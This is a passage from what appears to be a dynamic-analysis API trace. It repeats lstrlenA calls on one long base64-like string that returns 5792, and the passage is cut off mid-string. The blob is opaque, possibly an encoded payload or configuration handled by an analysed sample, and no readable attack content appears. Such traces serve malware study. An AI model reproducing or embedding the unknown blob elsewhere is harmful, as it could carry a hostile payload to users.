(lpString="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") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.883] lstrlenA (lpString="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